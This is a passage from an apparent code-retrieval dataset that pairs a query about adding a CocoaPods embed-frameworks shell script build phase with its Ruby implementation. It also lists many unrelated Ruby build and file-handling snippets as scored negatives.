|tmp|\n tmp2 = tmp[1]\n tmp2.each do |file|\n if File::exists?(file[1]) == true\n FileUtils.install(file[1],@SRC_DIR + \"/\" + File.basename(file[1]), :mode => 0400 )\n f.printf(\"[MACRO Name]%s: %s\\n\", tmp[0], file[1])\n else\n $WARNING_CNT += 1\n printf(\"@W-parts001:%s is not exist\\n\",file[1])\n f.printf(\"[MACRO Name]%s: %s\\n -!!CAUTION!!There is no original file.\\n\", tmp[0],file[1])\n end\n end\n end\n f.close\n if $VERBOSE == true\n printf(\"@I:Print copied file\\n\")\n system (\"ls -al #{@SRC_DIR}\")\n end\n \n printf(\"@I:Collect Files Done\\n\")\n \n end", "def set_files(input = \"./sample1.txt\",output = './dest1.txt')\n @input_file = input\n @output_file = output\n @extract = load_file(@input_file,PATTERNS)\n end", "def update_inputs_and_outputs\n\t\t\t\t@inputs = Files::State.new(@node.inputs)\n\t\t\t\t\n\t\t\t\tunless @node.inherit_outputs?\n\t\t\t\t\t@outputs = Files::State.new(@node.outputs)\n\t\t\t\tend\n\t\t\tend", "def process_options\n @options.verbose = false if @options.quiet\n # @options.output = \"#{@options.output}/#{File.basename(@options.input)}\" if File.directory?(@options.output)\n @options.output = \"#{@options.output}\" if (File.directory?(@options.output) && File.exists?(File.dirname(@options.output)))\n end", "def configure_tasks\n super\n all_sources = []\n @toolchains.each do |toolchain, sources|\n all_sources |= sources\n toolchain.output_folder = @output_folder\n toolchain.project_folder = @project_folder\n toolchain.output_decorator = \"-#{@configuration_name}\"\n CompiledConfiguration.add_framework_dependencies_to_toolchain(toolchain, @dependencies)\n end\n # Give the default toolchain an opportunity to scan all source files for\n # any special needs. For example, a toolchain might look for .cpp files\n # to determine that it should link a project with the \"g++\" vs \"gcc\".\n @default_toolchain.scan_sources(all_sources)\n end", "def prepare_for_configuration \n # clear_base_directory\n make_base_directory\n copy_misc_templates\n copy_custom_monitors\n store_keys_in_file\n Script.save!(self)\n # not my favorite...\n copy_ssh_key\n before_configuration_tasks\n end", "def output_path; end", "def assign_paths\n self.path = generate_path(self)\n end", "def to_output_path(output_path) #:nodoc:\n unless @output_path\n if output_path\n @output_path = output_path\n else \n @output_path = parse_nil_path(@input)\n end\n @args << \"--output\"\n @args << @output_path\n end\n end", "def build_control_scripts\n @shell.call \"mkdir -p #{self.scripts_path}\"\n\n write_script \"env\", make_env_bash_script\n\n build_scripts = @scripts.dup\n\n if build_scripts[:restart].empty? &&\n !build_scripts[:start].empty? && !build_scripts[:stop].empty?\n build_scripts[:restart] << \"#{self.root_path}/stop\"\n build_scripts[:restart] << \"#{self.root_path}/start\"\n end\n\n if build_scripts[:status].empty?\n build_scripts[:status] << \"echo 'No status for #{self.name}'; exit 1;\"\n end\n\n build_scripts.each do |name, cmds|\n if cmds.empty?\n Sunshine.logger.warn @shell.host, \"#{name} script is empty\"\n end\n\n bash = make_bash_script name, cmds\n\n write_script name, bash\n end\n\n symlink_scripts_to_root @scripts.keys, \"env\"\n end", "def path= (input_path)\n @path = input_path\n update_files\n @path\n end", "def run_on_changes(paths)\n paths.each do |path|\n # use output_folder or default back to watched file location\n run_steering(path, @options[:output_folder] || File.dirname(path))\n end\n end", "def build_input_files\n @input_files.map { |file| build_file(file) }\n end", "def makePath\n\t\t\tbuildMgr.effective(filename).dirname.mkpath\n\t\tend", "def execute(input)\n dsl = read_dsl\n output_dir = dsl.issen.output_dir\n create_root_dir(output_dir)\n create_files_and_dirs(input, output_dir)\n end", "def source_paths\n source_path = [$RR_PATH] + Array(super)\n # say \"source path = #{source_path}\", :magenta\n source_path\nend", "def initialize(output_path = \".\")\n @path = output_path\n end", "def copy_assets\r\n FileUtils.cd('view') do\r\n %w[style.css napoli.png ferraro.svg].each do |name|\r\n FileUtils.cp(name, File.join('..', 'output', name))\r\n end\r\n end\r\nend", "def gen_sub_directories\n @outputdir.mkpath\n end", "def resource_output_paths(resource_input_paths)\n resource_input_paths.map do |resource_input_path|\n base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}'\n extname = File.extname(resource_input_path)\n basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path)\n output_extension = Target.output_extension_for_resource(extname)\n File.join(base_path, File.basename(basename, extname) + output_extension)\n end.uniq\n end", "def snap_get_script_phases_with_codegen_discovery_with_config_file_dir()\n return <<~EOS\n pushd \"$PODS_ROOT/../\" > /dev/null\n RCT_SCRIPT_POD_INSTALLATION_ROOT=$(pwd)\n popd >/dev/null\n\n export RCT_SCRIPT_RN_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/../..\n export RCT_SCRIPT_APP_PATH=$RCT_SCRIPT_POD_INSTALLATION_ROOT/\n export RCT_SCRIPT_CONFIG_FILE_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT/node_modules\n export RCT_SCRIPT_OUTPUT_DIR=$RCT_SCRIPT_POD_INSTALLATION_ROOT\n export RCT_SCRIPT_FABRIC_ENABLED=true\n export RCT_SCRIPT_TYPE=withCodegenDiscovery\n\n SCRIPT_PHASES_SCRIPT=\"$RCT_SCRIPT_RN_DIR/scripts/react_native_pods_utils/script_phases.sh\"\n WITH_ENVIRONMENT=\"$RCT_SCRIPT_RN_DIR/scripts/xcode/with-environment.sh\"\n /bin/sh -c \"$WITH_ENVIRONMENT $SCRIPT_PHASES_SCRIPT\"\n EOS\nend", "def process_other_source_files\n files = @options[:include_source_files].flatten\n files.each do |f|\n FileUtils.cp Dir[f], @working_dir\n end\n end", "def setup_script_execution\n Dir.glob(File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '__TestScript*')).should be_empty\n Dir.glob(File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, '[0-9]*')).should be_empty\n InstanceConfiguration.const_set(:CACHE_PATH, File.join(RIGHT_LINK_SPEC_HELPER_TEMP_PATH, 'cache'))\n end", "def update_source_paths\n source_paths.unshift(root_dir)\n end", "def build\n clean_build_directory\n copy_templates\n copy_functions\n copy_includes\n build_assets\n end", "def run_on_modifications(paths = [])\n hash = {}\n \n # Get all files.\n paths = Dir.glob(\"#{@options[:input]}/**/*\").select do |path|\n not File.directory? path\n end\n \n paths.each do |path|\n file = File.read path\n compiled = ::EJS.compile file\n hash[path] = compiled\n \n UI.info \"[Guard::EJS] Compiled #{path}.\"\n end\n \n # Just overwrite the whole thing for now.\n FileUtils.mkdir_p File.dirname(@options[:output])\n \n File.open(@options[:output], 'w+') do |file|\n file.write \"window.#{@options[:namespace]} = window.#{@options[:namespace]} || {}\\n\"\n file.write \"window.#{@options[:namespace]}.templates = {\"\n \n hash.each do |name, template|\n file.write \"\\\"#{name}\\\": #{template},\"\n end\n \n file.write \"}\"\n end\n end", "def initialize_output_directory()\n require 'fileutils'\n FileUtils.mkdir_p(OUTPUT_DIRECTORY)\n end", "def setup_outputs_for(input_file_path)\n file_name_without_extension = File.basename(input_file_path, '.*')\n outputs = (exporters || Tracksperanto.exporters).map do | exporter_class |\n export_name = [file_name_without_extension, exporter_class.desc_and_extension].join(\"_\")\n export_path = File.join(File.dirname(input_file_path), export_name)\n exporter_class.new(open_owned_export_file(export_path))\n end\n \n Tracksperanto::Export::Mux.new(outputs)\n end", "def initialize(input_path, output_path)\n @input_path = input_path\n @output_path = output_path\n end", "def initialize(input_path, output_path)\n @input_path = input_path\n @output_path = output_path\n end", "def initialize(input_path, output_path)\n @input_path = input_path\n @output_path = output_path\n end", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def validate_paths!\n ensure_clean_build_path!\n ensure_existing_target_path!\n end", "def setup\n @build_dir = File.join project.dir, 'build'\n unless Dir.exists? @build_dir\n Dir.mkdir @build_dir\n end\n\n task 'default' => 'build'\n\n desc 'Build the project'\n task 'build' => project.target do\n puts \"Built #{File.basename project.target}\".green\n end\n\n self.setup_target\n self.setup_source_files\n\n if project.test_target\n self.setup_test_target\n self.setup_test_files\n end\n\n desc 'Clean up build artifacts and target'\n task 'clean' do\n sh \"rm -f #{project.target}\"\n project.sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n \n namespace 'test' do\n desc 'Build the test target'\n task 'build' => project.test_target do\n puts \"Built #{File.basename project.test_target}\".green\n end\n desc 'Clean test build artifacts'\n task 'clean' do\n sh \"rm -f #{project.test_target}\"\n project.test_sources.each do |fn|\n fn = objectsify fn\n sh \"rm -f #{fn}\"\n end\n end\n end\n \n end", "def transform_paths(attrs)\n [:stdout_logfile, :stderr_logfile].each do |key|\n value = attrs.send key\n path = Pathname.new(value)\n next if value.empty? || path.absolute?\n new_value = \"#{attrs.working_dir}/#{path}\"\n attrs.send \"#{key}=\".to_sym, new_value\n end\n end", "def set_config_paths\n @config_file_path = \"config/dissect/\"\n end", "def initialize(params)\n\t\tsuper\n\t\t@input = requireParam(params, :input)\n\t\t@mocpath = params[:mocpath]\n\t\tinEntityType, inModuleName = BuildEnv::entityTypeSafe(@input)\n\t\tif params[:output]\n\t\t\toutputName = canonicalizeFilepath(Pathname.new(params[:output]), BuildEnv::src2build(Pathname.pwd()))\n\t\telsif inEntityType == :h\n\t\t\toutputName = QtMocBuilder::mod2moc(inModuleName)\n\t\telse\n\t\t\traise \"Name of file to feed to moc must end in header extension: #{@input}\"\n\t\tend\n\t\t@output = canonicalizeFilepath(Pathname.new(outputName), Pathname.pwd())\n\t\t\n\t\taddPrereq @input\n\t\taddTarget @output\n\t\tBuildEnv::addGeneratedFile(@output)\n\t\traker = BuildEnv::raker(dir())\n\t\traker.associate(@input => [@output])\n\t\toutModuleName = BuildEnv::entityType(@output)[1]\n\t\toutModuleName = BuildEnv::src2build(canonicalizeFilepath(outModuleName, Pathname.pwd()))\n\t\tCXXObjBuilder.new(:name => outModuleName, :src => @output)\n\tend", "def modify_out_file_in_args(process_number)\n @args[out_file_position] = \"#{out_file_parent_dir}/#{out_file_basename}.#{process_number}#{File.extname(out_file)}\"\n @options = RSpec::Core::ConfigurationOptions.new(@args)\n end", "def version_input_paths\n @version_input_paths ||= Hash[ version_input_path_keys.map{ |v, k| [ v, instance_variable_get(:\"@#{k}\") ] } ]\n end", "def lookup_build_vars(cmp)\n cmp_src_path = component_src_path cmp\n cmp_build_path = component_build_path cmp\n cmp_build_bin = component_build_bin cmp\n build_vars = {}\n build_vars['BUILDER_BIN'] = cmp_build_bin\n build_vars['BUILDER_FILES'] = Array.new\n build_vars['PACKAGE_VERSIONS'] = {}\n build_vars['HAS_HADOOP'] = false\n build_vars['HAS_SPARK'] = false\n build_vars['BUILDER_CMDS'] = Array.new\n build_vars['BUILDER_FULL_CMDS'] = Array.new\n build_vars['TEST_FULL_CMDS'] = Array.new\n\n if File.executable?(cmp_src_path)\n ::Dir.chdir(cmp_src_path) do\n mvn_versions = lookup_maven_pom(cmp_src_path)\n if not mvn_versions.empty?\n # Maven build (for Java code)\n setup_maven_build_targets(cmp, build_vars)\n\n else\n # SBT build (for Scala code)\n setup_sbt_build_targets(cmp, build_vars)\n end\n end\n end\n build_vars\nend", "def build\n [ Sox::SOX_COMMAND,\n build_options(@options),\n build_input_files,\n build_file(@output_file),\n build_effects\n ].flatten.join(' ')\n end", "def load_and_run!\n File.open(@pathfile, \"w\") { |f| f.write(@pathfile_contents) }\n Pathological.add_paths!(@load_path)\n end", "def images_output_root(path)\n @images_output_root = path\n end", "def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend", "def gen_sub_directories\n\t\t@outputdir.mkpath\n\tend", "def process(step)\n step.inputs.each do |key, val|\n @inputs[key] = val unless @inputs.key?(key) || @outputs.key?(key)\n end\n @outputs.merge!(step.outputs)\n end", "def paths\n @paths ||= [\n data_path,\n output_path,\n converted_path,\n converted_fail_path,\n unpacked_path,\n unpacked_fail_path,\n recreated_path,\n ]\n end", "def initialize (target_name, source_paths, logger=Logger.new($stdout))\n @target_name = File.expand_path target_name\n @source_paths = source_paths.map! {|p| File.expand_path p}\n @completed = false\n @logger = logger\n @count = 0\n end", "def setup\n return unless git?\n\n Dir.chdir source_path do\n\n path = clone\n\n Dir.chdir path do\n\n if name = build then\n file = File.expand_path name\n\n # private instance variable. When this is set Entry#install looks\n # for a local file instead of trying to download by name\n @entry.instance_variable_set :@file, file\n end\n\n end if path\n\n end\n end", "def update!(**args)\n @input_path = args[:input_path] if args.key?(:input_path)\n end", "def precompile_assets=(_arg0); end", "def globalSetup()\n # Build\n run(\"cd '#{Embedding::CODE_PATH}' && make clean && make\")\nend", "def initialize(params)\n\t\tsuper\n\t\tbasename = requireParam(params, :name)\n\t\tmodpaths = requireParam(params, :modules)\n\t\t\n\t\tmodpaths.each {|path| addPrereq BuildEnv::src2build(System::mod2obj(path))}\n\t\taddTarget BuildEnv::src2build(System::mod2slib(basename))\n\t\t\t\n\t\t#symlink from the src tree to the build tree (even if our target is up-to-date, in case the symlink currently points to a file built with \n\t\t# different options, ie elsewhere in the build tree)\n\t\tSymlinkBuilder.new(:target => target(), :name => BuildEnv::build2src(target()))\n\t\t\n\t\t#flags for tasks that edit their own prereq lists before reinvoking themselves\n\t\t@cleanallRecurse = true #true before cleanall() is called from outside; false when it's called by itself\n\tend", "def compile\n File.chmod(0o755, start_script(root))\n augment_classpath_content\n end", "def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end", "def prepare\n FileUtils.rm_rf(output_dir)\n FileUtils.mkdir_p(output_dir)\n end", "def process!\n process_previews! if self.class.preview?\n\n versions.each do |name, blk|\n path = File.join(@dir, \"#{name}_#{@filename}\")\n process_version!(path, &blk)\n @paths << path\n end\n\n @paths\n end", "def setup\n @start = Dir.pwd\n fixture = File.join(fixtures, 'compc')\n Dir.chdir(fixture)\n \n @mxmlc_output = 'bin/MXMLC.swf'\n @compc_input = 'SomeProject'\n @compc_output = 'bin/COMPC.swc'\n @src = 'src'\n @test = 'test'\n\n remove_file(@compc_output)\n end", "def definition_file_paths=(_arg0); end", "def setup_output\r\n\t\t@output = File.open(File.join(\"log\", \"#{@server}_#{@db}_#{snow}.output\"), \"w\")\t\tif @run_cmds\r\n\t\t@output_cmds = File.open(File.join(\"log\", \"#{@server}_#{@db}_#{snow}.cmd\"), \"w\")\t\tif @log_cmds\t\r\n\tend", "def prepare_target_dir\n begin\n FileUtils.mkdir(@output_dir)\n copy_default_files\n rescue Errno::EEXIST\n puts \"-- #{output_dir} already exists -- canceling initialization. \"\n return\n end\n end", "def input_files\n ts = prerequisite_tasks.select { |t| t.is_a? Chore }.to_a\n @input_files ||= Fileset.new(ts)\n end", "def asset_paths\n paths = @parts.values.map(&:asset_path)\n paths << File.dirname(script) if script\n paths << File.dirname(stylesheet) if stylesheet\n paths.compact.uniq\n end", "def configure_data\n [:bitcask, :eleveldb, :merge_index].each {|k| env[k] ||= {} }\n env[:bitcask][:data_root] ||= (data + 'bitcask').expand_path.to_s\n env[:eleveldb][:data_root] ||= (data + 'leveldb').expand_path.to_s\n env[:merge_index][:data_root] ||= (data + 'merge_index').expand_path.to_s\n env[:riak_core][:slide_private_dir] ||= (data + 'slide-data').expand_path.to_s\n env[:riak_core][:ring_state_dir] ||= (data + 'ring').expand_path.to_s\n\n TS_NODE_DIRECTORIES.each do |dir|\n env[:riak_core][:\"platform_#{dir}_dir\"] ||= send(dir).to_s\n end\n end", "def setup\n switch_dir\n end", "def calculate_paths\n raise ApplicationSetupError.new(\"Please define 'app_file' option for #{self.name} app!\") unless self.app_file\n set :views, find_view_path if find_view_path\n set :images_path, File.join(self.public, \"/images\") unless self.respond_to?(:images_path)\n end", "def setio(input, output)\n @@input = input\n @@output = output\n end", "def _output_paths(file)\n input_file_dir = File.dirname(file)\n file_name = _output_filename(file)\n file_name = \"#{file_name}.erb\" if _append_html_ext_to_output_path?(file_name)\n input_file_dir = input_file_dir.gsub(Regexp.new(\"#{options[:input]}(\\/){0,1}\"), '') if options[:input]\n\n if options[:output]\n Array(options[:output]).map do |output_dir|\n File.join(output_dir, input_file_dir, file_name)\n end\n else\n if input_file_dir == ''\n [file_name]\n else\n [File.join(input_file_dir, file_name)]\n end\n end\n end", "def define \n desc @description\n task @name => Array(deps) do\n unless Dir.exist?(@outdir)\n Dir.mkdir(@outdir)\n end\n make_file_list\n @file_list.each do |target|\n js = target.execute\n target_file = File.join(@outdir,File.basename(target.file))\n File.open(target_file, 'w') { |f| f.write(js) }\n end\n end\n\n self\n end" ]
[ "0.70612246", "0.62567437", "0.599926", "0.58901983", "0.5833597", "0.5638008", "0.5605595", "0.54814017", "0.5459682", "0.5343731", "0.5314638", "0.53031904", "0.5272214", "0.52284694", "0.5151068", "0.51070803", "0.5095115", "0.50818783", "0.5044566", "0.5038619", "0.50271827", "0.50271827", "0.4992295", "0.49775174", "0.49754345", "0.49691325", "0.49511623", "0.4938081", "0.49349448", "0.49154675", "0.4910453", "0.4882252", "0.4873721", "0.48713672", "0.48539504", "0.48408115", "0.48243496", "0.48091894", "0.48076475", "0.48051578", "0.48014078", "0.47999159", "0.47952563", "0.47947454", "0.4788714", "0.47876525", "0.47832206", "0.47745708", "0.4769125", "0.47535872", "0.474823", "0.47481877", "0.47325468", "0.47313434", "0.47229442", "0.47111535", "0.4710883", "0.47101256", "0.47057045", "0.47021618", "0.47021618", "0.47021618", "0.46998942", "0.46964073", "0.46919352", "0.46884468", "0.4679596", "0.46789673", "0.4676893", "0.46762806", "0.46464825", "0.46444246", "0.46405843", "0.46382424", "0.463541", "0.463541", "0.4632596", "0.46318483", "0.46303907", "0.46268326", "0.4624972", "0.46098575", "0.46058014", "0.46010292", "0.4600497", "0.4599017", "0.45969474", "0.45932147", "0.45852092", "0.45848012", "0.45804483", "0.45699546", "0.45665118", "0.45520157", "0.45470187", "0.45312065", "0.45241094", "0.45226732", "0.45225173", "0.45224044" ]
0.6996949
1
Adds a shell script build phase responsible to copy (embed) the frameworks generated by the TargetDefinition to the bundle of the product of the targets.
def create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {}) phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + EMBED_FRAMEWORK_PHASE_NAME) phase.shell_script = %("#{script_path}"\n) TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_or_update_copy_xcframeworks_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + COPY_XCFRAMEWORKS_PHASE_NAME)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n reorder_script_phase(native_target, phase, :before_compile)\n end", "def add_copy_xcframeworks_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_xcframeworks_script_path.relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n xcframeworks = target.xcframeworks.values.flatten\n\n if use_input_output_paths? && !xcframeworks.empty?\n input_file_list_path = target.copy_xcframeworks_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = [script_path]\n\n framework_paths = xcframeworks.map { |xcf| \"${PODS_ROOT}/#{xcf.path.relative_path_from(target.sandbox.root)}\" }\n input_paths.concat framework_paths\n\n output_file_list_path = target.copy_xcframeworks_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = xcframeworks.map do |xcf|\n \"#{Target::BuildSettings::XCFRAMEWORKS_BUILD_DIR_VARIABLE}/#{xcf.target_name}/#{xcf.name}.framework\"\n end\n end\n\n if xcframeworks.empty?\n UserProjectIntegrator::TargetIntegrator.remove_copy_xcframeworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_copy_xcframeworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_embed_frameworks_script_phase\n unless target.includes_frameworks? || (target.xcframeworks_by_config.values.flatten.any? { |xcf| xcf.build_type.dynamic_framework? })\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.embed_frameworks_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n configs = Set.new(target.framework_paths_by_config.keys + target.xcframeworks_by_config.keys).sort\n configs.each do |config|\n framework_paths = target.framework_paths_by_config[config] || []\n xcframeworks = target.xcframeworks_by_config[config] || []\n\n input_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_input_files_path(config), target.embed_frameworks_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframeworks)\n\n output_paths_key = XCFileListConfigKey.new(target.embed_frameworks_script_output_files_path(config), target.embed_frameworks_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframeworks)\n end\n end\n\n native_targets_to_embed_in.each do |native_target|\n TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def add_copy_resources_script_phase\n phase_name = \"Copy Pods Resources\"\n native_targets.each do |native_target|\n phase = native_target.shell_script_build_phases.select { |bp| bp.name == phase_name }.first ||\n native_target.new_shell_script_build_phase(phase_name)\n path = target.copy_resources_script_relative_path\n phase.shell_script = %{\"#{path}\"\\n}\n phase.show_env_vars_in_log = '0'\n end\n end", "def add_copy_resources_script_phase\n unless target.includes_resources?\n native_targets.each do |native_target|\n TargetIntegrator.remove_copy_resources_script_phase_from_target(native_target)\n end\n return\n end\n\n script_path = target.copy_resources_script_relative_path\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths\n target.resource_paths_by_config.each do |config, resource_paths|\n input_paths_key = XCFileListConfigKey.new(target.copy_resources_script_input_files_path(config),\n target.copy_resources_script_input_files_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + resource_paths\n\n output_paths_key = XCFileListConfigKey.new(target.copy_resources_script_output_files_path(config),\n target.copy_resources_script_output_files_relative_path)\n output_paths_by_config[output_paths_key] = TargetIntegrator.resource_output_paths(resource_paths)\n end\n end\n\n native_targets.each do |native_target|\n # Static library targets cannot include resources. Skip this phase from being added instead.\n next if native_target.symbol_type == :static_library\n TargetIntegrator.create_or_update_copy_resources_script_phase_to_target(native_target, script_path,\n input_paths_by_config,\n output_paths_by_config)\n end\n end", "def add_copy_dsyms_script_phase(native_target)\n script_path = \"${PODS_ROOT}/#{target.copy_dsyms_script_path.relative_path_from(target.sandbox.root)}\"\n dsym_paths = PodTargetInstaller.dsym_paths(target)\n bcsymbolmap_paths = PodTargetInstaller.bcsymbolmap_paths(target)\n\n if dsym_paths.empty? && bcsymbolmap_paths.empty?\n script_phase = native_target.shell_script_build_phases.find do |bp|\n bp.name && bp.name.end_with?(UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME)\n end\n native_target.build_phases.delete(script_phase) if script_phase.present?\n return\n end\n\n phase_name = UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_embed_frameworks_phase(project, t)\n \n t.build_phases.delete_if { |phase| \n phase.to_s == 'Embed Frameworks'\n }\n\n embed_frameworks_build_phase = project.new(\n Xcodeproj::Project::Object::PBXCopyFilesBuildPhase\n )\n\n embed_frameworks_build_phase.name = 'Embed Frameworks'\n embed_frameworks_build_phase.symbol_dst_subfolder_spec = :frameworks\n t.build_phases << embed_frameworks_build_phase\n return embed_frameworks_build_phase\nend", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def create_or_update_copy_resources_script_phase_to_target(native_target, script_path, input_paths_by_config = {}, output_paths_by_config = {})\n phase_name = COPY_PODS_RESOURCES_PHASE_NAME\n phase = TargetIntegrator.create_or_update_shell_script_build_phase(native_target, BUILD_PHASE_PREFIX + phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def create_or_update_shell_script_build_phase(native_target, script_phase_name, show_env_vars_in_log = '0')\n build_phases = native_target.build_phases.grep(Xcodeproj::Project::Object::PBXShellScriptBuildPhase)\n build_phases.find { |phase| phase.name && phase.name.end_with?(script_phase_name) }.tap { |p| p.name = script_phase_name if p } ||\n native_target.project.new(Xcodeproj::Project::Object::PBXShellScriptBuildPhase).tap do |phase|\n UI.message(\"Adding Build Phase '#{script_phase_name}' to project.\") do\n phase.name = script_phase_name\n unless show_env_vars_in_log.nil?\n phase.show_env_vars_in_log = show_env_vars_in_log\n end\n native_target.build_phases << phase\n end\n end\n end", "def remove_embed_frameworks_script_phase_from_embedded_targets\n return unless target.requires_host_target?\n native_targets.each do |native_target|\n if AggregateTarget::EMBED_FRAMEWORKS_IN_HOST_TARGET_TYPES.include? native_target.symbol_type\n 